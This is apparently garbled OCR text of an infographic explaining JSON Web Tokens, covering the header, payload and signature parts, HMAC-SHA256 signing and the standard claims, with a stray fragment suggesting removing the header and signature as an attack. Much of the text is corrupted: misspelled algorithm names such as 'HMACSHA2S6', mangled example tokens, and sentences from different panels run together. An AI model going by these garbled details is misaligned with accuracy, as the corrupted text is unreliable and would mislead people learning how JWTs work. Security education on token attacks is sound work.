attacks

Try to remove the
header and »  #tryharder
signature
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JWT — JSON Web Tokens ¥ @kamranahmedse

Form of token based authentication. Based on an Open Standard (RFC 7519).

Can be used for authorization as well as secure info exchange. © Validate credentials

How does it work?

- @ Geverate Token
Just like any other token based auth strategy. v,

Username : Password

Only differentiator is how the token is generated.

CHo

@ JISON Web Token

Characteristics O‘F the token © Generate token using

secret key
Token is just a normal URL-Safe string and can

@ Some secure endpoint

be passed to server in header, body or URL. JWT in Header

Token is self contained i.e. carries the data. @ Response for the request

CH

Anyone can view the content.

O Validate IWT with
Token has three parts separated by a dot the secret key
XXXXXXXXXX . YYYYYYYYYY . 22222222

header payload signature String generated by hashing the header,

payload with a secret i.e.

HMACSHA2S6(header + “ + payload, ‘secret’)
U
v

String generated using baseé4(tokenMeta)
e.9. eyJ0eXAiOITKVIQILLInbGiOITIV2IINITE

l

String generated using base64(ourData)

Token Meta where ourData is the data that we want

¢

“byp”s jwt” LS Type of token  to embed in the token (aka IWT Claims).

o
ua’gn: “HS256”, e.g9. eyJlc2VySWQIOITYRJExLTEXMjMilL2gil CIpY

3

hashing algorithm used for the signature part
e.g. in this case SHA2S56 Our Data

“userld”: “XFII-1123",

These are called claims ¢—rnw— | )
email”: “john@doe.com

There are three types of claims ¢—— 1 “exp”: “1592427938",
“iat”: “1590969600”

Registered Claims

Standard names which are reserved for app usage

Public Claims

Claims which we can define and use for our

iat -> issued at (issuance timestamp)
iss -> issuer (who issued it, app name for example) o dotd 6. serld, aniall, above ek,
sub -> token subject

Pri lail
exp -> expiry time (expiry timestamp) rivate Claims

https://www.t00ls .net/thread-62491-1-1.html

held at server and used to generate and verify tokens
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2021/8/25
d X di ¢ o o) Names without any meaning to anyone except the
aud -> token audience (app URL or some string for example, consumer and prodacér ot Eokens,

nbf -> not before (timestamp before which token is not usable)
Jti -> unigue token identifier (can be used to revoke existing IWT token)

In our sample payload above, we have exp and iat claims.
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